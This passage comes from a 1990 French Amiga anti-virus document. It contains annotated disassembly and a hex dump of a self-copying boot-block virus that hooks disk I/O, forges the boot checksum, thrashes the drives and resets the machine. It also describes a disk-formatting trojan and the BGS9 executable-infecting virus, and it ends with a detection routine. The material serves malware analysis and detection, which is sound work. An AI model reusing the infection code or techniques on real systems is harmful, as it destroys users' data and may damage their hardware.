  663. 0500c8:2050 move.l  (A0),A0     ;pointeur 1er noeud
  664. 0500ca:24e8 move.l  18(A0),(A2)+  ;Void Code sauvé (point d'entrée de
  665. 0500ce:487a pea     48(PC)(=$50100) l'ancienne routine raster interrupt)
  666. 0500d2:215f move.l  (A7)+,18(A0)  ; nouvelle adresse interr. ($50100)
  667. 0500d6:487a pea     62(PC)(=$50116) ;met sur pile
  668. 0500da:201f move.l  (A7)+,D0    ;dépile nouvelle adresse fonction DoIo 
  669. 0500dc:307c move.w  #$fe38,A0   ;Offset pour -456(a6)
  670. 0500e0:224e move.l  A6,A1       ;library exec
  671. 0500e2:4eae jsr     -420(A6)    ;setfunction (modifie vecteur DoIo)
  672. 0500e6:24c0 move.l  D0,(A2)+    ;sauve ancien vecteur en $404(DébutVirus)
  673. 0500e8:203c move.l  #$00000400,D0  ;1024 octets  = taille de la zone 
  674. 0500ee:223c move.l  #$00010002,D1  ;MemClear+MemChip = modalités
  675. 0500f4:4eae jsr     -198(A6)       ;reserve  1024 octets
  676. 0500f8:24c0 move.l  D0,(A2)+  ;Pointeur Mem. réservée en $408(DebutVirus)
  677. 0500fa:245f move.l  (A7)+,A2  ;restaure ancienne valeur A2
  678. 0500fc:4eee jmp     -126(A6)  ;Autorise interruptions et jmp donc rts
  679.  
  680. ;Nouvelle routine Raster
  681. 050100:2f0e move.l  A6,-(A7)  ;sauve a6
  682. 050102:2c78 move.l  $0004,A6           ;exbase en a6
  683. 050106:487a pea     774(PC)(=$5040e)   ;lors de l'interrupt. restaure
  684. 05010a:2d5f move.l  (A7)+,550(A6)      ;la table résidente
  685. 05010e:2c5f move.l  (A7)+,A6   ,restaure a6 ;donc 50 fois par seconde...
  686. 050110:2f3a move.l  750(PC)(=$50400),-(A7)
  687. 050114:4e75 rts
  688.  
  689. ;Nouvelle routine DoIo
  690. 050116:4aa9 tst.l   44(A1) ;test offset piste si=0 alors on lit la 1er
  691. 05011a:6600 bne.l   $0501aa ;non alors aucune disquette n'a été intoduite
  692. 05011e:0c29 cmpi.b  #$03,29(A1)  ;écriture du boot?
  693. 050124:6730 beq.s   $050156      ;oui
  694. 050126:0c29 cmpi.b  #$02,29(A1)  ;lecture du boot?
  695. 05012c:667c bne.s   $0501aa      ;non
  696. 05012e:2069 move.l  24(A1),A0    ;test unité
  697. 050132:0828 btst    #4,64(A0)    ;de disquette ?
  698. 050138:6600 bne.l   $0501aa      ;non on sort
  699. 05013c:6100 bsr.l   $0501aa      ;on place ancienne valeur DoIo sur pile
  700. 050140:41fa lea     714(PC)(=$5040c),A0 ;Compteur_1
  701. 050144:5350 subq.w  #1,(A0)      ;Compteur_1 = Compteur_1 moins 1
  702. 050146:6700 beq.l   $0501b0      ;Si déjà 3 appels alors on devient méchant
  703. 05014a:2069 move.l  40(A1),A0    ;sinon regarde si on s'amuse avec son
  704. 05014e:2010 move.l  (A0),D0      ;propre code
  705. 050150:b0ba cmp.l   -338(PC)(=$50000),D0 ;pour dans ce cas sortir 
  706. 050154:6652 bne.s   $0501a8
  707. 050156:48e7 movem.l A3-A1/D1,-(A7)
  708. 05015a:137c move.b  #$03,29(A1)     ;On écrit
  709. 050160:237c move.l  #$00000400,36(A1)  ;1024 octets
  710. 050168:247a move.l  670(PC)(=$50408),A2   ; à partir du prt MEM réservé
  711. 05016c:264a move.l  A2,A3   ;voir plus haut
  712. 05016e:234a move.l  A2,40(A1)  ;Adresse des données disk
  713. 050172:41fa lea     -372(PC)(=$50000),A0   
  714. 050176:52a8 addq.l  #1,740(A0)    ;compteur de reproduction + 1
  715. 05017a:303c move.w  #$02e7,D0     ;taille du virus
  716. 05017e:14d8 move.b  (A0)+,(A2)+   ;on se recopie dans le buffer
  717. 050180:51c8 dbf     D0,$05017e
  718. 050184:303c move.w  #$00ff,D0     ;\
  719. 050188:7200 moveq   #$00,D1       ; \
  720. 05018a:204b move.l  A3,A0         ;  \
  721. 05018c:45e8 lea     4(A0),A2      ;   \
  722. 050190:4292 clr.l   (A2)          ;    \
  723. 050192:d298 add.l   (A0)+,D1      ;CheckSum bootblock (inverse de la somme)
  724. 050194:6402 bcc.s   $050198       ;    /
  725. 050196:5281 addq.l  #1,D1         ;   /
  726. 050198:51c8 dbf     D0,$050192    ;  /
  727. 05019c:4681 not.l   D1            ; /
  728. 05019e:2481 move.l  D1,(A2)       ;/
  729. 0501a0:6100 bsr.l   $0501aa       ;On place l'adresse de retour ancien DOiO
  730. 0501a4:4cdf movem.l (A7)+,A3-A1/D1
  731. 0501a8:4e75 rts                   ;retour donc saut à Old DoIo
  732. 0501aa:2f3a move.l  600(PC)(=$50404),-(A7)  ;Place Old DoiO sur pile
  733. 0501ae:4e75 rts
  734. ;C'est ici que le virus devient méchant
  735. 0501b0:30bc move.w  #$0003,(A0)   ;d'abord il réinitialise son compteur_1
  736. 0501b4:2c78 move.l  $0004,A6
  737. 0501b8:4eae jsr     -120(A6)      ;Interdit interruptions
  738. 0501bc:41ee lea     378(A6),A0    ; Library List en a0 (structure Noeud)
  739. 0501c0:43fa lea     152(PC)(=$5025a),A1  ;"intuition.library"
  740. 0501c4:4eae jsr     -276(A6)             ;on cherche dans la liste la
  741. 0501c8:2c40 move.l  D0,A6    ;library intuition et on place la base en A6
  742. 0501ca:41f9 lea     $bfd100,A0     ;
  743. 0501d0:49f9 lea     $dff000,A4     ;
  744. 0501d6:10bc move.b  #$7f,(A0)      ;
  745. 0501da:10bc move.b  #$05,(A0)      ;
  746. 0501de:7250 moveq   #$50,D1        ;   ici je résume: le Virus prend le Ctrl
  747. 0501e0:397c move.w  #$8010,150(A4) ;   des drives pendant qq secondes
  748. 0501e6:42ac clr.l   36(A4)         ;   cette routine est de l'ordre de celle
  749. 0501ea:397c move.w  #$9100,158(A4) ;   utilisée par le Gadaffi virus
  750. 0501f0:397c move.w  #$c300,36(A4)  ;   cela fait évidemment très peur 
  751. 0501f6:397c move.w  #$c300,36(A4)  ;   à l'utilisateur d'entendre le 
  752. 0501fc:397c move.w  #$0002,156(A4) ;   claquemment des tetes de lectures
  753. 050202:082c btst    #1,31(A4)      ; et les conséquences en cas par exemple
  754. 050208:67f8 beq.s   $050202        ; de chocs trop violent risquent 
  755. 05020a:426c clr.w   36(A4)         ; d'endommager fortement le support!
  756. 05020e:6136 bsr.s   $050246        ;  (mais rien n'est écrit)
  757. 050210:0850 bchg    #2,(A0)        ;  puis un cadre rouge clignotant
  758. 050214:6138 bsr.s   $05024e        ;  fera son apparition à l'écran :
  759. 050216:51c9 dbf     D1,$0501e6     ;  (style Gourou meditations)
  760. 05021a:33fc move.w  #$0020,$dff096 ;
  761. 050222:42b9 clr.l   $dff140        ;
  762. 050228:41fa lea     66(PC)(=$5026c),A0  ;Données à afficher dans le cadre
  763. 05022c:7000 moveq   #$00,D0             ;n° erreur 0
  764. 05022e:223c move.l  #$00000050,D1       ;hauteur en pixel du cadre rouge
  765. 050234:4eae jsr     -90(A6) ;DisplayAlert de la library intuition
  766. 050238:2c78 move.l  $0004,A6 ;execbase
  767. 05023c:4eae jsr     -150(A6) ;on passe en mode superviseur
  768. 050240:4ef9 jmp     $fc0002  ;reset !!
  769. 050246:0890 bclr    #0,(A0)
  770. 05024a:08d0 bset    #0,(A0)
  771. 05024e:303c move.w  #$0800,D0   ; Delay pour la routine "drives en folies"
  772. 050252:4e71 nop                 ; ci-dessus
  773. 050254:51c8 dbf     D0,$050252  ;
  774. 050258:4e75 rts                 ;
  775. 050000: 444f 5300 f602 ff0c 0000 0370 4eba 0024 DOS........pN..$
  776. 050010: 4eae ffa0 4a80 670a 2040 2068 0016 7000 N...J.g. @ h..p.
  777. 050020: 4e75 70ff 60fa 646f 732e 6c69 6272 6172 Nup.`.dos.librar
  778. 050030: 7900 48e7 fffe 4eae ff88 41fa ffc4 226e y.H...N...A..."n
  779. ;code
  780. 050250: 0800 4e71 51c8 fffc 4e75 696e 7475 6974 ..NqQ...Nuintuit
  781. 050260: 696f 6e2e 6c69 6272 6172 7900 00b0 1554 ion.library....T ;texte
  782. 050270: 4845 2045 5854 5245 4d45 2041 4e54 492d HE EXTREME ANTI- ;qui
  783. ;clignotera  dans le cadre rouge affiché par displayAlert et
  784. ;qui est placé également dans Rt_Name de la table résidente 
  785. 050280: 5649 5255 5320 2048 4120 4841 2021 2121 VIRUS  HA HA !!!
  786. 050290: 0001 00c8 2942 4143 4b20 544f 204c 4956 ....)BACK TO LIV
  787. 0502a0: 4520 4241 434b 2054 4f20 5245 414c 4954 E BACK TO REALIT
  788. 0502b0: 5900 0100 883d 5349 434f 2044 4520 4d4f Y....=SICO DE MO
  789. 0502c0: 454c 2020 4245 5247 4552 5745 4720 3130 EL  BERGERWEG 10
  790. 0502d0: 3020 2043 414c 4c20 3037 322d 3131 3438 0  CALL 072-1148
  791. 0502e0: 3136 0000 0000 0064 0000 0000 0000 0000 16.....d........ 
  792. puis des 0 j-> $50400
  793. Merci encore à tous ceux qui m'envoient des virus.
  794. Tout courrier à ce sujet est bien entendu attendu et vous pouvez m'écrire à
  795. l'adresse suivante :
  796.  
  797.                       Leclercq Xavier
  798.                       Vieux Chemin D'Ath n°12
  799.                       7548 Warchin BELGIUM
  800.  
  801. \
  802.  - B. About a horse of trojan : 
  803. /
  804.  
  805. Le premier "Cheval de Troie" sur l'Amiga : The Time Bomber.
  806. -----------------------------------------------------------
  807. Sans doute un nouveau volet de l'histoire des "microbes" sur l'Amiga vient 
  808. d'être ouvert.
  809. Au début de cette histoire tout était simple,il y avait le virus by S.C.A 
  810. qui se fixait sur le boot.Les clones de celui-ci sont alors débarqué en 
  811. masse :BS1,LSD,AEK,...pour ne citer qu'eux et dont seul le texte révélant 
  812. leurs présence en mémoire a été modifié.(Et les CheckSums respectifs).Puis
  813. cette lignée de microbes (ne voyez là aucun titre de noblesse) en a inspirer
  814. bien d'autres toujours un peu moins détectable et plus dangereux:Virus by 
  815. the Byte Bandit,Gadaffi,The Lamer Exterminator,...La ruse était poussée à 
  816. l'extrème lorsque certains virus se laissaint passer pour des Virus 
  817. protectors :HCS 4220,Nighty Byte Warrior (DASA),The Pentagon Circle Virus 
  818. Slayer,The Band Virus Slayer...
  819. Les choses se compliquèrent alors lorsque les premiers "Virus coquilles" 
  820. apparurent :IRQ TEAM,BGS9,... Ces virus s'inspirent de certains virus sur 
  821. P.C (Personnal Chiotes?...).En effet ils ne s'attanquent qu'aux fichiers 
  822. éxécutables et ont pas mal de défauts (defauts de jeunesse?),le principal 
  823. étant le manque de discrétion lors de l'installation dans la startup-sequence.
  824. Ces microbes étant particulièrement dangereux pour les utilisateurs possédant
  825. un disque dur.
  826. Enfin voilà le troisième grand type de microbe:le cheval de troie.Au départ
  827. il semble tout a fait inoffensif.En effet ce n'est pas un Virus qui 
  828. s'installe sur le boot,ni un Virus s'infiltrant dans les fichiers,il n'est 
  829. pas résidant en mémoire et il ne résiste donc pas au reset.Que lui reste 
  830. t-il donc pour nous faire peur? Suivez bien le guide.Le principe d'un 
  831. cheval de troie est de s'infiltrer dans une entité sans que l'on se doute
  832. un seul instant de sa nature destructive puis comme une bombe à
  833. retardement détruire un maximum de l'intérieur...
  834. Analysons un moment comment cette chose est possible.Vous venez de recevoir
  835. une disquette dont les origines sont douteuses (dois-je faire un dessin?).
  836. Cette disquette contient une super doc et vous vous jetez dessus pour la 
  837. lire.(c'est déjà le mauvais réflexe).Le disk est impérativement de type 
  838. "DOS" et a une startup-sequence dont le premier fichier appelé est
  839.  "virustest" d'une taille de 936 octets.Ce fichier c'est notre cheval de 
  840. troie : The Time Bomber.(A ne pas confondre avec le Time Bomb Virus).Il est 
  841. accompagné d'un fichier de 1 octet qui se nomme VIRUSTEST.DATA et dont le 
  842. rôle dans l'histoire est un compteur qui au départ est initialisé à 5.
  843. Le fichier "VirusTest" étant appelé par la startup-sequence il vous 
  844. demandera de déprotéger la disquette en écriture.Et le petit message
  845.  "USER REQUEST :PLEASE REMOVE WRITE PROTECTION AND PRESS LEFT MOUSE 
  846. BUTTON TO CONTINUE..." s'inscrit dans la fenêtre CLI.Il n'y alors plus 
  847. moyen de continuer a moins de déprotéger la disquette.Une fois cette 
  848. opération éffectuée un deuxième requester apparaît dans la fenêtre CLI :
  849.  "RAM CHECKED - NO VIRUS FOUND".Le Time Bomber 
  850. se fait donc passer pour un anti-virus.La disquette étant déprotégée il
  851. aura alors pris le soin de décrémenter de 1 le fichier compteur
  852. VIRUSTEST.DATA puis la startup continuera en séquence et vous pourrez 
  853. parcourir votre doc.L'opération étant répétée cinq fois (le fichier compteur
  854. se trouvant décrémenter de cinq) ,d'un coup ,sans vous prévenir, le cheval 
  855. de troie se réveillera pour FORMATTER votre disquette et se faisant se 
  856. détruira lui-même sans laisser de traces.Le formattage est éffectué grâce
  857. à la fonction DoIo (-456(A6)) ,sans bruit anormal,comme si le déroulement
  858. de la starup-up continuait normalement.Au bout d'un moment un message 
  859. d'erreur apparaît tel que "KEY 880 CHECKSUM ERROR" du fait qu'il n'y a plus
  860. rien sur le disk.(Les sommes de controles ou CHECKSUM sont tous faussés).
  861. Après voir cliquer su CANCEL s'inscrit sur l'écran le message suivant:
  862. "SORRY,LOOSER,THAT'S ALL YOU CONNA GET!".Et vous vous n'avez plus que vos
  863. yeux pour pleurer la disparition de votre super doc...
  864. Point important :le cheval de troie ne se reproduit pas et est donc greffé 
  865. à l'origine sur votre disquette.
  866. A ce stade  de l'exposé je me dois de préciser des points extrèmement 
  867. important:
  868. -Le Time Bomber est indétectable (même par VirusX 3.2).Les seuls repères 
  869. étant la taille du fichier (936) du VirusTest,la demande répétée pour 
  870. déprotéger la disquette et le message "RAM CHECKED ..".
  871. -Ce microbe n'est pas codé et il me paraît aisé même pour un débutant de 
  872. changer le nom VIRUSTEST.DATA et la syntaxe des différents messages.Ces points
  873. de repères sont donc peu fiables...
  874. -Si un utilisateur décide d'enlever les deux fichiers du disk il lui faudra
  875.  impérativement rectifier la startup-sequence pour éviter le "Unknow command".    -et enfin la dernière remarque la plus importante : CE CHEVAL DE TROIE NE SE REPRODUISANT PAS DE LUI-MEME IL NE PEUT SE TROUVER QUE SUR DES SOFTS PIRATES!!!
  876. Donc l'utilisateur honnête que vous êtes ne pourra jamais faire la 
  877. connaissance de ce cheval de troie.(Reste le Dom.Pub. dont certains disks pourraît éventuellement en contenir).De plus pour installer ce microbe existe un programme du nom de Time Bomber (origine du nom) de wizards inc qui ne peut lui aussi provenir que du monde des pirates. 
  878. Conclusion : soyez honnêtes sinon "SORRY LOOSER THAT'S ALL YOU GONNA GET!"...
  879. Merci à Bruno de nous avoir envoyer un examplaire du Time Bomber.
  880. Vous pouvez toujours m'envoyer vos dernières découvertes microbiennes :
  881.  
  882.                   Leclercq Xavier
  883.                   Vieux Chemin d'Ath n°12 7548 Warchin BELGIUM
  884.  
  885. \
  886.  - About a File_Virus (linkage type) :
  887.  
  888. Quelques mots à propos du BGS9:
  889. -------------------------------
  890. Le Virus BGS9 débarque sur l'Amiga.Attention danger!!
  891. Ce virus est de la même trempe que l' IRQ TEAM Virus ,c'est un virus qui
  892. s'attaque directement aux fichiers éxécutables.Ce type de virus porte le
  893. nom de "virus coquille".De la même manière que ses confrères qui sont
  894. rendus actif par le "Boot" d'une disquette ,le BGS9 est résident en 
  895. mémoire,un reset (classique) est impuissant et ne peut l'éliminer de cette
  896. dernière.En effet le virus se crée une entrée dans la table des prgs 
  897. résidents (550(exbase)) et peut également se trouver en mémoire en 
  898. "cohabitant" avec un confrère virus ou virus protector!
  899. Après avoir effectué 4 resets(*) consécutifs un message apparaît.
  900. ( (*) Le reset devant se faire après l'éxécution du premier fichier de la 
  901. "startup-sequence" pour que le compteur du virus soit incrémenter de 1)
  902. Le message est le suivant:
  903. "            A COMPUTER VIRUS IS A DISEASE            "
  904. "            TERRORISM IS A TRANSGRESSION             "
  905. "             SOFTWARE PIRACY IS A CRIME              "
  906. "                  THIS IS THE CURE                   "
  907. "       B.G.S.9  BUNDERSGRENZSCHUTZ SEKTION 9         "
  908. "                SONDERKOMMANDO 'EDV'                 "
  909. En fait l'étude du code de ce virus permet de dire qu'il s'agit tout
  910. simplement de données graphiques qui sont décodées lors de l'affichage.
  911. Ce texte n'apparaît donc pas "en clair" (même décodé) car de toutes 
  912. manières ce n'est pas des caractères ASCII mais une image.
  913. Comme je l'ai déjà expliqué il s'agit d'un virus s'attaquant aux
  914. éxécutables.Une fois en mémoire et lorsque vous aurez insérer une nouvelle
  915. disquette et éffectué un reset le virus lira la "startup-sequence" pour
  916. l'analyser.Il trouvera alors le nom du PREMIER fichier s'éxécutant et le
  917. recopiera dans le directory ":devs" s'il existe.Et si ce dernier n'existe
  918. pas il recopiera le fichier dans la "root" principale (df0:).Je dois faire
  919. à ce sujet plusieurs remarques. 
  920. Premièrement Un fichier protégé sera recopié avec ses protections :inutile
  921. donc de le protéger.Deuxièmement le nom du fichier recopié sera modifié en 
  922. $a0a0a0202020a0202020a0 :c'est un nom qui n'apparaît pas lors d'un"dir" ou
  923. "list"classique.Troisièmement le fichier est recopié par défaut dans le
  924. ":devs" car c'est un "sub-directory" automatiquement pris dans le chemin
  925. (path) du système : le virus accède donc au fichier quel que soit le
  926. chemin où le système se trouve lors de l'appel.
  927. Après donc avoir recopié le PREMIER éxécutable il se recopiera à la place
  928. du fichier qu'il a préalablement recopié (ouf!!).Il écrasera donc le
  929. fichier en y mettant son propre code.La taille de ce fichier qui contient
  930. donc le code du BGS9 virus est de 2608 octets et est donc facilement
  931. repérable en comparant la taille de la commande intitiale provenant d'une
  932. disquette (back-up) saine.(Il serait tout de même stupéfiant d'avoir une 
  933. commande dont la longueur soit justement 2608 octets,mais on ne sait
  934. jamais !!).Résumons.La commande "setmap f" se trouve en début de votre
  935. "startup-sequence".Le virus va chercher le nom "setmap" la trouver sur
  936. la disquette dans le sous directory ":c" et la recopiée dans le sous 
  937. directory ":devs" en changeant son nom ($a0a0a0202020a0202020a0).Puis il 
  938. créera un nouveau fichier "setmap" de 2608 octets dans le sous directory
  939. ":c" écrasant par la même occasion l'ancien fichier du même nom.Lors du
  940. prochain appel de la "startup-sequence" c'est d'abord la commande 
  941. "setmap f" qui sera éxécutée et donc c'est le virus qui sera d'abord lancé
  942. puis celui-ci fera appel au fichier dans le sous directory ":devs" pour
  943. éxécuter correctement la commande.
  944. Le BGS9 contamine des disquettes NON protégées en écriture.(Comme d'
  945. ailleurs TOUS les autres virus).Il n'est pas détecté par VirusX 3.2.
  946. Le BGS9 est "mortel" pour disquedur.Surtout pour les utilisateurs qui
  947. "Boot" automatiquement ce périphérique à chaque reset!
  948. Je vous propose quand même un moyen de le détecter en mémoire en employant
  949. la propre routine d'auto-reconnaissance du BGS9 en mémoire que j'ai pu
  950. désassembler.
  951.                                                    
  952.                                    Xavier L.
  953.  
  954. ;listing à insérer dans vos propres routines par exemple...
  955. TEST_BGS9_VIRUS:
  956. movem.l a0-a6/d0-d7,-(sp)
  957. move.l $4,a6              ;ExBase en a6
  958. move.l 550(a6),d7         ;KickTagPtr (table des prgs résident)
  959. beq.L NoBSG9V   ;si à Zéro il n'y a pas de BGS9 virus en mémoire
  960. move.l d7,a2   
  961. move.l (a2)+,d1 
  962. move.l d1,a1
  963. move.l 14(a1),d0            ;Compare le prg résident actuellement en mémoire
  964. move.l d0,a3                ;avec le code du virus
  965. move.l #"TTV1",d6           ;si le texte "TTV1" apparaît le Virus est
  966. cmpi.l (a3),d6              ;en mémoire!!
  967. bne.s NoBSG9V
  968. movem.l (sp)+,a0-a6/d0-d7
  969. move.l #$f,d0               ;Flag d'erreur...
  970. rts
  971. NoBSG9V:
  972. movem.l (sp)+,a0-a6/d0-d7
  973. clr.l d0
  974. rts
  975.  
  976.  
  977. Good use of the Master Virus Killer! See you for my next version. (v2.?)
  978. Please ,please ,please if you own new viruses SEND IT TO ME !!!!!
  979. Thanx !!!!!!!!!!!!!!!
  980.  
  981.  
  982. X.L  November 1990
  983.